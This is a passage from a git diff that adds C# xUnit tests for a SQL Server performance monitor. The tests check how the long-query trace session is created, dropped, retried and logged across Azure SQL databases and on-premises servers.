+        var names = new Names().Hold(OwnId, "SQL01", second).Hold(101, "SQL01", second);
+
+        var guard = await GuardFor(new[] { Registration(101) }, names);
+
+        Assert.True(guard.Kept);
+    }
+
+    /// <summary>Only the registrations whose trace is on are candidates: the others' names are never read.</summary>
+    [Fact]
+    public async System.Threading.Tasks.Task TheGuard_ReadsOnlyTheNamesOfTheRegistrationsThatCouldKeepTheSession()
+    {
+        var names = new Names().Hold(OwnId, "SQL01").Hold(101, "SQL01").Hold(102, "SQL01").Hold(103, "SQL01");
+
+        var guard = await GuardFor(
+            new[] { Registration(101), Registration(102, engine: "postgres"), Registration(103) }, names, traceOff: new[] { 103 });
+
+        Assert.Single(guard.Keepers);
+        Assert.DoesNotContain(102, names.Reads);
+        Assert.DoesNotContain(103, names.Reads);
+    }
+}
diff --git a/Darling/Darling.Tests/LongQueryTraceLifecycleTests.cs b/Darling/Darling.Tests/LongQueryTraceLifecycleTests.cs
new file mode 100644
index 0000000000..9f66c3864c
--- /dev/null
+++ b/Darling/Darling.Tests/LongQueryTraceLifecycleTests.cs
@@ -0,0 +1,1868 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+using LogLevel = Microsoft.Extensions.Logging.LogLevel;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The long-query trace's session lifecycle on Azure SQL Database, where each database holds its own session: which
+/// databases a reconcile creates the session in and drops it from, when the worker counts it done, and how a failed
+/// drop is retried. Each test drives the worker's real reconcile with the database list and the per-database work
+/// replaced on the runner, so no server or store is needed.
+/// </summary>
+public sealed class LongQueryTraceLifecycleTests : IAsyncDisposable
+{
+    private const string Host = "lqtrace.database.windows.net";
+
+    /* Never opened: the runner reaches the store only to write collected rows, and these tests collect nothing. */
+    private readonly NpgsqlDataSource _store = NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Database=unused;Username=unused");
+
+    public ValueTask DisposeAsync() => _store.DisposeAsync();
+
+    private sealed class Rig
+    {
+        public required DarlingCollectorRunner Runner { get; init; }
+        public required DarlingWorker.ServerLoopState State { get; init; }
+
+        /* Every session name the long-query work named: the name a create or a drop would have put in its statement (#4961). */
+        public List<string> Names { get; } = new();
+        public required MonitoredServer Config { get; init; }
+        public DarlingSelfAlertTests.CapturingLogger Logger { get; } = new();
+
+        /* What the logical server's master lists, before the registration's exclusions and scope. */
+        public List<string> Listed { get; set; } = new() { "master", "alpha", "beta", "gamma" };
+        public List<string> Scope { get; set; } = new();
+        public List<string> Owned { get; set; } = new();
+        public List<(string Database, bool Create)> Calls { get; } = new();
+        public HashSet<string> Refuse { get; } = new(StringComparer.OrdinalIgnoreCase);
+        public Exception? ListFailure { get; set; }
+        public int ListCalls { get; set; }
+
+        /* The other registrations of the logical server, and the databases monitored as their own servers as the
+           logical server's registration sees them. */
+        public List<LongQueryTraceRegistration> Others { get; } = new();
+        public List<string> ServerOwned { get; set; } = new();
+
+        /* The time each reconcile runs at, and the databases that hold the session. */
+        public DateTime Clock { get; set; } = new(2026, 10, 2, 12, 0, 0, DateTimeKind.Utc);
+        public HashSet<string> Sessions { get; } = new(StringComparer.OrdinalIgnoreCase);
+
+        /* #4961: the guard an on-premises server's reconcile resolves, and how many times it did. A test that sets none passes none,
+           as the sweep does for an Azure SQL Database target. */
+        public Func<Task<LongQueryTraceInstanceGuard>>? InstanceGuard { get; set; }
+        public int GuardResolutions { get; set; }
+
+        public Task ReconcileAsync(bool enabled) =>
+            DarlingWorker.ReconcileLongQueryTraceAsync(State, Runner, enabled, Others, ServerOwned, Clock, Logger, CancellationToken.None, InstanceGuard);
+
+        public IEnumerable<string> Dropped => Calls.Where(c => !c.Create).Select(c => c.Database);
+
+        public IEnumerable<string> Created => Calls.Where(c => c.Create).Select(c => c.Database);
+
+        /* #4961: the legacy session's drops, kept apart from the per-install work above. Each entry is the database the
+           drop ran in; the server's own session is the empty name. */
+        public List<string> LegacyCalls { get; } = new();
+        public List<string> LegacyNames { get; } = new();
+        public HashSet<string> RefuseLegacy { get; } = new(StringComparer.OrdinalIgnoreCase);
+
+        /* The databases that hold a legacy session right now. An older install creates it again by adding one here, and
+           two installs that monitor the same server share one set. */
+        public HashSet<string> LegacySessions { get; set; } = new(StringComparer.OrdinalIgnoreCase);
+
+        /* Every call in the order it ran: "legacy:alpha", "create:alpha", "drop:gamma". */
+        public List<string> Events { get; } = new();
+
+        /* Where this install keeps the record of the legacy drop, in memory because the store is never opened. */
+        public InMemoryLegacyRecords Records { get; init; } = new();
+
+        /* What a reconnect does to the loop state (DarlingWorker's connect block), and to the runner. */
+        public void Reconnect()
+        {
+            Runner.OnServerReconnected(State.Runtime!.ServerId);
+            State.LongQueryTraceApplied = null;
+            State.LongQueryTraceAppliedKey = null;
+            State.LongQueryTraceAppliedAtUtc = null;
+            State.LongQueryTraceFault = null;
+            State.LongQueryTracePartialNote = null;
+            State.LongQueryTraceDropRetry.Reset();
+            State.LongQueryTraceCreateWarned = false;
+        }
+    }
+
+    /// <summary>The record the legacy drop leaves, in memory. A read or a write fails on demand, as the store's would.</summary>
+    internal sealed class InMemoryLegacyRecords : ILegacyLongQueryRecords
+    {
+        public Dictionary<(int ServerId, string StateKey), string> Rows { get; } = new();
+        public Exception? ReadFailure { get; set; }
+        public Exception? WriteFailure { get; set; }
+        public int Reads { get; private set; }
+        public int Writes { get; private set; }
+
+        public Task<IReadOnlyCollection<string>> ReadAsync(int serverId, CancellationToken cancellationToken)
+        {
+            Reads++;
+            if (ReadFailure is { } failure)
+            {
+                return Task.FromException<IReadOnlyCollection<string>>(failure);
+            }
+
+            return Task.FromResult<IReadOnlyCollection<string>>(Rows.Keys
+                .Where(k => k.ServerId == serverId && k.StateKey.StartsWith(LegacyLongQuerySession.StateKeyPrefix, StringComparison.Ordinal))
+                .Select(k => k.StateKey)
+                .ToList());
+        }
+
+        public Task WriteAsync(int serverId, string stateKey, DateTime droppedUtc, CancellationToken cancellationToken)
+        {
+            if (WriteFailure is { } failure)
+            {
+                return Task.FromException(failure);
+            }
+
+            Writes++;
+            Rows[(serverId, stateKey)] = droppedUtc.ToString("o", System.Globalization.CultureInfo.InvariantCulture);
+            return Task.CompletedTask;
+        }
+
+        public bool Has(int serverId, string database) => Rows.ContainsKey((serverId, LegacyLongQuerySession.StateKey(database)));
+    }
+
+    /// <summary>A logical-server registration (no database named) on an Azure SQL Database server.</summary>
+    private Rig BuildRig(params string[] excluded) =>
+        BuildRig(new MonitoredServer { Name = "lqtrace", Host = Host, ExcludedDatabases = excluded.ToList() }, ServerId);
+
+    /// <summary>A registration of one database of the same logical server, with read-only intent unless told otherwise.</summary>
+    private Rig BuildDatabaseRig(string database, bool readOnlyIntent = true)
+    {
+        var rig = BuildRig(
+            new MonitoredServer { Name = "lqtrace-" + database, Host = Host, Database = database, ReadOnlyIntent = readOnlyIntent },
+            DatabaseServerId);
+        rig.Listed = new List<string> { database };
+        return rig;
+    }
+
+    private const int ServerId = 4944;
+    private const int DatabaseServerId = 8001;
+
+    private static LongQueryTraceRegistration LogicalServer(int id, bool traceOn, params string[] excluded) =>
+        new(id.ToString(System.Globalization.CultureInfo.InvariantCulture), Host, null, Enabled: true, traceOn, excluded, DatabaseScope: null);
+
+    private static LongQueryTraceRegistration OneDatabase(int id, string database, bool traceOn) =>
+        new(id.ToString(System.Globalization.CultureInfo.InvariantCulture), Host, database, Enabled: true, traceOn, Array.Empty<string>(), DatabaseScope: null);
+
+    /// <summary>A server on an engine with no per-database sessions, an on-premises server: its session is the server's.</summary>
+    private Rig BuildOnPremRig() =>
+        BuildRig(new MonitoredServer { Name = "lqtrace-sql", Host = "lqtrace-sql" }, ServerId, azureSqlDatabase: false);
+
+    /* This install's id (#4961), and the session it makes from it. */
+    private const string InstallIdValue = "0a1b2c3d";
+    private static readonly string OwnSession = LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.DarlingProduct, InstallIdValue);
+
+    private Rig BuildRig(MonitoredServer config, int serverId, bool azureSqlDatabase = true, string? installId = InstallIdValue, InMemoryLegacyRecords? records = null)
+    {
+        var runtime = new ServerRuntime
+        {
+            Config = config,
+            ConnectionString = $"Server=tcp:{Host},1433;Initial Catalog={config.Database ?? "master"};Encrypt=True",
+            Target = new CollectorTargetInfo { IsAzureSqlDb = azureSqlDatabase },
+            StorageName = Host,
+            ServerId = serverId,
+        };
+
+        Rig? rig = null;
+        var runner = new DarlingCollectorRunner(
+            _store,
+            new CollectorDeltaCalculator(),
+            databaseScope: (_, _) => rig!.Scope.ToList(),
+            separatelyMonitoredDatabases: _ => rig!.Owned.ToList(),
+            installId: () => installId);
+
+        rig = new Rig
+        {
+            Runner = runner,
+            State = new DarlingWorker.ServerLoopState { Config = config, Runtime = runtime },
+            Config = config,
+            Records = records ?? new InMemoryLegacyRecords(),
+        };
+
+        runner.LegacyLongQueryRecordsForTests = rig.Records;
+        runner.LegacyLongQueryPresentForTests = (_, database, _) => Task.FromResult(rig.LegacySessions.Contains(database));
+
+        runner.LongQueryTraceListOverrideForTests = (_, allDatabases, scope, _) =>
+        {
+            rig.ListCalls++;
+            if (rig.ListFailure is { } failure)
+            {
+                throw failure;
+            }
+
+            return Task.FromResult(allDatabases
+                ? rig.Listed.ToList()
+                : rig.Listed
+                    .Where(d => !config.ExcludedDatabases.Contains(d, StringComparer.OrdinalIgnoreCase))
+                    .Where(d => scope is null || scope.Count == 0 || scope.Contains(d, StringComparer.OrdinalIgnoreCase))
+                    .ToList());
+        };
+
+        runner.LongQueryTraceDatabaseOverrideForTests = (_, database, create, sessionName, _) =>
+        {
+            if (sessionName == LongQueryCompletionsCollector.LegacyXeSessionName)
+            {
+                rig.LegacyCalls.Add(database);
+                rig.LegacyNames.Add(sessionName);
+                rig.Events.Add("legacy:" + database);
+                if (rig.RefuseLegacy.Contains(database))
+                {
+                    return Task.FromException(new InvalidOperationException($"The legacy drop was refused in {database}."));
+                }
+
+                rig.LegacySessions.Remove(database);
+                return Task.CompletedTask;
+            }
+
+            rig.Events.Add((create ? "create:" : "drop:") + database);
+            rig.Calls.Add((database, create));
+            rig.Names.Add(sessionName);
+            if (rig.Refuse.Contains(database))
+            {
+                return Task.FromException(new InvalidOperationException($"The {(create ? "create" : "drop")} was refused in {database}."));
+            }
+
+            if (create)
+            {
+                rig.Sessions.Add(database);
+            }
+            else
+            {
+                rig.Sessions.Remove(database);
+            }
+
+            return Task.CompletedTask;
+        };
+
+        return rig;
+    }
+
+    /// <summary>A service restart: a new runner and a new loop state over the same record, on the same server.</summary>
+    private Rig Restart(Rig before)
+    {
+        var after = BuildRig(
+            before.Config, before.State.Runtime!.ServerId, before.State.Runtime.Target.IsAzureSqlDb, before.Runner.InstallId, before.Records);
+        after.Listed = before.Listed;
+        after.LegacySessions = before.LegacySessions;
+        after.Clock = before.Clock;
+        return after;
+    }
+
+    /* ── M1: a failed listing or drop is retried, with a cap ── */
+
+    [Fact]
+    public async Task Off_AFailedListing_IsNotMarkedApplied_AndTheNextSweepListsAgain()
+    {
+        var rig = BuildRig();
+        rig.ListFailure = new InvalidOperationException("master is not reachable.");
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Null(rig.State.LongQueryTraceApplied);
+
+        rig.ListFailure = null;
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Equal(2, rig.ListCalls);
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Dropped);
+        Assert.False(rig.State.LongQueryTraceApplied);
+    }
+
+    [Fact]
+    public async Task On_AFailedListing_IsNotMarkedApplied()
+    {
+        var rig = BuildRig();
+        rig.ListFailure = new InvalidOperationException("master is not reachable.");
+
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Null(rig.State.LongQueryTraceApplied);
+        Assert.Empty(rig.Calls);
+    }
+
+    [Fact]
+    public async Task Off_OneDatabaseRefusesTheDrop_TheOthersAreStillDropped_AndTheNextSweepRetries()
+    {
+        var rig = BuildRig();
+        rig.Refuse.Add("beta");
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Dropped);
+        Assert.Null(rig.State.LongQueryTraceApplied);
+
+        rig.Calls.Clear();
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Contains("beta", rig.Dropped);
+    }
+
+    [Fact]
+    public async Task Off_TheFifthFailedPassInARow_IsMarkedApplied_WithOneWarningThatNamesTheDatabase()
+    {
+        var rig = BuildRig();
+        rig.Refuse.Add("beta");
+
+        for (var pass = 1; pass < LongQueryTraceDatabases.DropAttemptCap; pass++)
+        {
+            await rig.ReconcileAsync(enabled: false);
+            Assert.Null(rig.State.LongQueryTraceApplied);
+        }
+
+        await rig.ReconcileAsync(enabled: false);
+        Assert.False(rig.State.LongQueryTraceApplied);
+
+        /* Done: the next sweep does not try again. */
+        rig.Calls.Clear();
+        await rig.ReconcileAsync(enabled: false);
+        Assert.Empty(rig.Calls);
+
+        var giveUp = Assert.Single(rig.Logger.Entries, e => e.Message.Contains("Stopped retrying", StringComparison.Ordinal));
+        Assert.Equal(Microsoft.Extensions.Logging.LogLevel.Warning, giveUp.Level);
+        Assert.Contains("beta", giveUp.Message, StringComparison.Ordinal);
+    }
+
+    /* ── After the cap: one attempt an hour ── */
+
+    [Fact]
+    public async Task Off_AfterTheCap_TriesAgainOnceAnHour_AtDebug_WithNoSecondWarning()
+    {
+        var rig = BuildRig();
+        rig.Refuse.Add("beta");
+
+        for (var pass = 1; pass <= LongQueryTraceDatabases.DropAttemptCap; pass++)
+        {
+            await rig.ReconcileAsync(enabled: false);
+        }
+
+        Assert.False(rig.State.LongQueryTraceApplied);
+        var giveUp = Assert.Single(rig.Logger.Entries, e => e.Message.Contains("Stopped retrying", StringComparison.Ordinal));
+        Assert.EndsWith(
+            "It tries again once an hour, and right away after a restart, a change to the trace's settings, or a change to"
+            + " another registration of these databases. It also tries again after it reconnects.",
+            giveUp.Message,
+            StringComparison.Ordinal);
+        var warnings = Warnings(rig);
+
+        /* Within the hour: nothing. */
+        rig.Calls.Clear();
+        rig.Clock += LongQueryTraceDatabases.RetryInterval - TimeSpan.FromMinutes(1);
+        await rig.ReconcileAsync(enabled: false);
+        Assert.Empty(rig.Calls);
+
+        /* An hour after the cap: one attempt, and the sweep after it runs nothing. */
+        rig.Clock += TimeSpan.FromMinutes(1);
+        await rig.ReconcileAsync(enabled: false);
+        await rig.ReconcileAsync(enabled: false);
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Dropped);
+
+        /* It fails again an hour later. Both failures log at Debug, and the cap's warning stays the only one. */
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: false);
+        Assert.Equal(new[] { "alpha", "beta", "gamma", "alpha", "beta", "gamma" }, rig.Dropped);
+
+        Assert.Equal(warnings, Warnings(rig));
+        Assert.Equal(2, rig.Logger.Entries.Count(e =>
+            e.Level == Microsoft.Extensions.Logging.LogLevel.Debug
+            && e.Message.Contains("The next attempt is in an hour.", StringComparison.Ordinal)));
+        Assert.Equal(2, rig.Logger.Entries.Count(e =>
+            e.Level == Microsoft.Extensions.Logging.LogLevel.Debug
+            && e.Message.Contains("[beta]", StringComparison.Ordinal)));
+        Assert.False(rig.State.LongQueryTraceApplied);
+    }
+
+    [Fact]
+    public async Task AfterTheCap_AnAttemptThatSucceeds_StartsTheCountAgain_AndEndsTheHourlyAttempts()
+    {
+        var rig = BuildRig();
+        rig.Refuse.Add("beta");
+
+        for (var pass = 1; pass <= LongQueryTraceDatabases.DropAttemptCap; pass++)
+        {
+            await rig.ReconcileAsync(enabled: false);
+        }
+
+        rig.Refuse.Clear();
+        rig.Calls.Clear();
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Dropped);
+        Assert.Null(rig.State.LongQueryTraceDropRetry.NextAttemptUtc);
+
+        /* Done, with nothing left to retry: an hour later nothing runs. */
+        rig.Calls.Clear();
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: false);
+        Assert.Empty(rig.Calls);
+    }
+
+    /* ── While the trace is on: the create side again once an hour ── */
+
+    [Fact]
+    public async Task On_ASessionDroppedFromOutside_IsCreatedAgainAnHourLater_AndNothingIsDropped()
+    {
+        /* gamma is excluded, so a pass that ran the drop side would drop it again. */
+        var rig = BuildRig("gamma");
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.True(rig.State.LongQueryTraceApplied);
+        Assert.Equal(new[] { "gamma" }, rig.Dropped);
+        Assert.Contains("beta", rig.Sessions);
+
+        /* The session is dropped outside the app. The read returns no rows for it, the same as for a quiet trace. */
+        rig.Sessions.Remove("beta");
+        rig.Calls.Clear();
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Contains("beta", rig.Sessions);
+        Assert.Equal(new[] { "alpha", "beta" }, rig.Created);
+        Assert.Empty(rig.Dropped);
+        Assert.True(rig.State.LongQueryTraceApplied);
+    }
+
+    [Fact]
+    public async Task On_WithinTheHour_TheLatchedReconcileRunsNothing()
+    {
+        var rig = BuildRig();
+        await rig.ReconcileAsync(enabled: true);
+
+        rig.Calls.Clear();
+        var listCalls = rig.ListCalls;
+        rig.Clock += LongQueryTraceDatabases.RetryInterval - TimeSpan.FromSeconds(1);
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Empty(rig.Calls);
+        Assert.Equal(listCalls, rig.ListCalls);
+    }
+
+    [Fact]
+    public async Task On_AnHourlyCreatePassThatThrows_RunsAgainAnHourLater_NotOnEverySweep()
+    {
+        var rig = BuildRig();
+        await rig.ReconcileAsync(enabled: true);
+
+        /* The hourly create pass is due, and the listing fails, so the pass throws. */
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        rig.ListFailure = new InvalidOperationException("master is not reachable.");
+        rig.ListCalls = 0;
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(1, rig.ListCalls);
+        Assert.NotNull(rig.State.LongQueryTraceFault);
+        var failedAt = rig.Clock;
+        var warnings = Warnings(rig);
+
+        /* The sweeps within the hour run nothing, and the fault stays set until a pass succeeds. */
+        foreach (var minutes in new[] { 1, 10, 59 })
+        {
+            rig.Clock = failedAt + TimeSpan.FromMinutes(minutes);
+            await rig.ReconcileAsync(enabled: true);
+        }
+
+        Assert.Equal(1, rig.ListCalls);
+        Assert.Equal(warnings, Warnings(rig));
+        Assert.NotNull(rig.State.LongQueryTraceFault);
+
+        /* An hour after it threw, the pass runs again, and a pass that succeeds clears the fault. */
+        rig.ListFailure = null;
+        rig.Clock = failedAt + LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(2, rig.ListCalls);
+        Assert.Null(rig.State.LongQueryTraceFault);
+    }
+
+    [Fact]
+    public async Task On_TheAttemptAfterTheCap_ThatThrowsAnotherError_RunsAgainAnHourLater_NotOnEverySweep()
+    {
+        /* The drop outside the monitored set is refused in the excluded database until the cap gives up. */
+        var rig = BuildRig("gamma");
+        rig.Refuse.Add("gamma");
+        for (var pass = 1; pass <= LongQueryTraceDatabases.DropAttemptCap; pass++)
+        {
+            await rig.ReconcileAsync(enabled: true);
+        }
+
+        /* The attempt after the cap is due, and the listing fails: it throws something other than a failed drop. */
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        rig.ListFailure = new InvalidOperationException("master is not reachable.");
+        rig.ListCalls = 0;
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(1, rig.ListCalls);
+        var failedAt = rig.Clock;
+
+        foreach (var minutes in new[] { 1, 10, 59 })
+        {
+            rig.Clock = failedAt + TimeSpan.FromMinutes(minutes);
+            await rig.ReconcileAsync(enabled: true);
+        }
+
+        Assert.Equal(1, rig.ListCalls);
+
+        rig.Clock = failedAt + LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(2, rig.ListCalls);
+    }
+
+    private static int Warnings(Rig rig) =>
+        rig.Logger.Entries.Count(e => e.Level == Microsoft.Extensions.Logging.LogLevel.Warning);
+
+    /* ── #4964: a create that fails again and again logs its first failure at Warning, the repeats at Debug ── */
+
+    private const string EnumerateLine = "Failed to enumerate databases for the long-query completion XE session";
+
+    private static int Logged(Rig rig, Microsoft.Extensions.Logging.LogLevel level, string text) =>
+        rig.Logger.Entries.Count(e => e.Level == level && e.Message.Contains(text, StringComparison.Ordinal));
+
+    /* The worker's own line has no database in it; the per-database line does. */
+    private static string WorkerLine(Rig rig) => $"[{rig.Config.DisplayName}] Failed to reconcile the long-query completion XE session: ";
+
+    /* ── #4964: the drop of a server-scoped session follows the same cap as the Azure arm's ── */
+
+    /* The server-scoped session reaches the test replacement with no database name. */
+    private const string TheServer = "";
+
+    private const string DropLine = "Could not drop the long-query trace session:";
+
+    /// <summary>
+    /// On an engine with no per-database sessions, a disabled trace whose drop fails on every sweep follows the cadence of
+    /// the Azure arm: the first four failures are Warnings that the next sweep tries again, the fifth is the one Warning that
+    /// gives up, the sweeps after it run nothing, and an hour later one attempt logs at Debug. Before, the failure reached
+    /// the worker's general catch, which warned on every sweep with no end.
+    /// </summary>
+    [Fact]
+    public async Task Off_OnPremises_ADropThatFailsOnEverySweep_WarnsToTheCap_ThenTriesOnceAnHourAtDebug()
+    {
+        var rig = BuildOnPremRig();
+        rig.Refuse.Add(TheServer);
+
+        for (var pass = 1; pass < LongQueryTraceDatabases.DropAttemptCap; pass++)
+        {
+            await rig.ReconcileAsync(enabled: false);
+            Assert.Null(rig.State.LongQueryTraceApplied);
+        }
+
+        await rig.ReconcileAsync(enabled: false);
+        Assert.False(rig.State.LongQueryTraceApplied);
+        Assert.Equal(LongQueryTraceDatabases.DropAttemptCap - 1, Logged(rig, Microsoft.Extensions.Logging.LogLevel.Warning, DropLine));
+        var giveUp = Assert.Single(rig.Logger.Entries, e => e.Message.Contains("Stopped retrying", StringComparison.Ordinal));
+        Assert.Contains("may remain on the server", giveUp.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain("databases could not be listed", giveUp.Message, StringComparison.Ordinal);
+        Assert.EndsWith(" It also tries again after it reconnects.", giveUp.Message, StringComparison.Ordinal);
+        Assert.Equal(0, Logged(rig, Microsoft.Extensions.Logging.LogLevel.Warning, WorkerLine(rig)));
+        Assert.Equal(LongQueryTraceDatabases.DropAttemptCap, Warnings(rig));
+
+        /* Done: the sweeps within the hour run nothing. */
+        rig.Calls.Clear();
+        await rig.ReconcileAsync(enabled: false);
+        rig.Clock += LongQueryTraceDatabases.RetryInterval - TimeSpan.FromMinutes(1);
+        await rig.ReconcileAsync(enabled: false);
+        Assert.Empty(rig.Calls);
+
+        /* An hour after the cap: one attempt, at Debug, and the sweep after it runs nothing. */
+        rig.Clock += TimeSpan.FromMinutes(1);
+        await rig.ReconcileAsync(enabled: false);
+        await rig.ReconcileAsync(enabled: false);
+        Assert.Single(rig.Calls);
+        Assert.Equal(LongQueryTraceDatabases.DropAttemptCap, Warnings(rig));
+        Assert.Equal(1, Logged(rig, Microsoft.Extensions.Logging.LogLevel.Debug, "The next attempt is in an hour."));
+        Assert.False(rig.State.LongQueryTraceApplied);
+    }
+
+    /// <summary>
+    /// Turning the trace on is a create that succeeds, and it ends the run of drop failures: after the cap gave up, on and
+    /// off again, the next failures count from one, and warn again.
+    /// </summary>
+    [Fact]
+    public async Task Off_OnPremises_AfterTheCap_TurnedOnAndOffAgain_CountsTheFailuresAgain()
+    {
+        var rig = BuildOnPremRig();
+        rig.Refuse.Add(TheServer);
+        for (var pass = 1; pass <= LongQueryTraceDatabases.DropAttemptCap; pass++)
+        {
+            await rig.ReconcileAsync(enabled: false);
+        }
+
+        Assert.False(rig.State.LongQueryTraceApplied);
+
+        rig.Refuse.Clear();
+        await rig.ReconcileAsync(enabled: true);
+        Assert.True(rig.State.LongQueryTraceApplied);
+
+        var warnings = Warnings(rig);
+        rig.Refuse.Add(TheServer);
+        for (var pass = 1; pass < LongQueryTraceDatabases.DropAttemptCap; pass++)
+        {
+            await rig.ReconcileAsync(enabled: false);
+        }
+
+        Assert.Equal(LongQueryTraceDatabases.DropAttemptCap - 1, Warnings(rig) - warnings);
+        Assert.True(rig.State.LongQueryTraceApplied);
+    }
+
+    [Fact]
+    public async Task On_ACreateThatFailsOnEverySweep_LogsOneWarning_ThenDebug_AndRecordsTheFaultEachTime()
+    {
+        var rig = BuildRig();
+        var warning = Microsoft.Extensions.Logging.LogLevel.Warning;
+        var debug = Microsoft.Extensions.Logging.LogLevel.Debug;
+
+        rig.ListFailure = new InvalidOperationException("master is not readable, first.");
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Equal(1, Logged(rig, warning, WorkerLine(rig)));
+        Assert.Equal(1, Logged(rig, warning, EnumerateLine));
+        Assert.Contains("first.", rig.State.LongQueryTraceFault, StringComparison.Ordinal);
+
+        /* The same failure on the next two sweeps: no new Warning, one Debug line each, and the fault is recorded
+           again with the newest message, so collection health keeps reading SESSION_MISSING. */
+        foreach (var attempt in new[] { "second.", "third." })
+        {
+            rig.ListFailure = new InvalidOperationException("master is not readable, " + attempt);
+            await rig.ReconcileAsync(enabled: true);
+            Assert.Contains(attempt, rig.State.LongQueryTraceFault, StringComparison.Ordinal);
+        }
+
+        Assert.Equal(1, Logged(rig, warning, WorkerLine(rig)));
+        Assert.Equal(1, Logged(rig, warning, EnumerateLine));
+        Assert.Equal(2, Logged(rig, debug, WorkerLine(rig)));
+        Assert.Equal(2, Logged(rig, debug, EnumerateLine));
+
+        /* The retry did not change: every sweep listed again, and the latch is still unset. */
+        Assert.Equal(3, rig.ListCalls);
+        Assert.Null(rig.State.LongQueryTraceApplied);
+    }
+
+    [Fact]
+    public async Task On_ACreateThatSucceedsAfterFailures_WarnsAgainWhenItFailsAfterwards()
+    {
+        var rig = BuildRig();
+        var warning = Microsoft.Extensions.Logging.LogLevel.Warning;
+
+        rig.ListFailure = new InvalidOperationException("master is not readable.");
+        await rig.ReconcileAsync(enabled: true);
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(1, Logged(rig, warning, WorkerLine(rig)));
+
+        /* A create that succeeds ends the run of failures. */
+        rig.ListFailure = null;
+        await rig.ReconcileAsync(enabled: true);
+        Assert.True(rig.State.LongQueryTraceApplied);
+        Assert.Null(rig.State.LongQueryTraceFault);
+
+        /* The hourly create pass fails: a new failure, so it warns again, and its repeat does not. */
+        rig.ListFailure = new InvalidOperationException("master is not readable again.");
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(2, Logged(rig, warning, WorkerLine(rig)));
+
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(2, Logged(rig, warning, WorkerLine(rig)));
+
+        /* One repeat in each run of failures. */
+        Assert.Equal(2, Logged(rig, Microsoft.Extensions.Logging.LogLevel.Debug, WorkerLine(rig)));
+    }
+
+    [Fact]
+    public async Task On_ACreateRefusedInEveryDatabase_LogsEachRefusalAtWarningOnce_ThenAtDebug()
+    {
+        var rig = BuildRig();
+        var warning = Microsoft.Extensions.Logging.LogLevel.Warning;
+        var debug = Microsoft.Extensions.Logging.LogLevel.Debug;
+        foreach (var database in new[] { "alpha", "beta", "gamma" })
+        {
+            rig.Refuse.Add(database);
+        }
+
+        await rig.ReconcileAsync(enabled: true);
+
+        /* The first pass names each refusing database, says that every one refused, and the worker says it once. */
+        Assert.Equal(1, Logged(rig, warning, "[beta] Failed to reconcile the long-query completion XE session"));
+        Assert.Equal(1, Logged(rig, warning, "could not be ensured in all 3 database(s)"));
+        Assert.Equal(1, Logged(rig, warning, WorkerLine(rig)));
+        var firstPass = Warnings(rig);
+        Assert.Equal(5, firstPass);
+        Assert.NotNull(rig.State.LongQueryTraceFault);
+
+        await rig.ReconcileAsync(enabled: true);
+        await rig.ReconcileAsync(enabled: true);
+
+        /* The repeats log the same lines at Debug, and every sweep still tried every database. */
+        Assert.Equal(firstPass, Warnings(rig));
+        Assert.Equal(2, Logged(rig, debug, "[beta] Failed to reconcile the long-query completion XE session"));
+        Assert.Equal(2, Logged(rig, debug, "could not be ensured in all 3 database(s)"));
+        Assert.Equal(2, Logged(rig, debug, WorkerLine(rig)));
+        Assert.Equal(9, rig.Created.Count());
+        Assert.NotNull(rig.State.LongQueryTraceFault);
+    }
+
+    [Fact]
+    public async Task Off_ADropFailureAfterCreateFailures_IsNotCountedAsARepeat()
+    {
+        var rig = BuildRig();
+        var warning = Microsoft.Extensions.Logging.LogLevel.Warning;
+
+        rig.ListFailure = new InvalidOperationException("master is not readable.");
+        await rig.ReconcileAsync(enabled: true);
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(1, Logged(rig, warning, WorkerLine(rig)));
+
+        /* Turned off, the drop is a different pass with its own failure: its first line is a Warning. The cap on the
+           drop side is its own (#4944). */
+        await rig.ReconcileAsync(enabled: false);
+        Assert.Equal(1, Logged(rig, warning, "Could not list the databases to drop the long-query trace session from"));
+    }
+
+    [Fact]
+    public async Task AReconnect_StartsTheRunOfCreateFailuresAgain_SoTheNextOneWarns()
+    {
+        var rig = BuildRig();
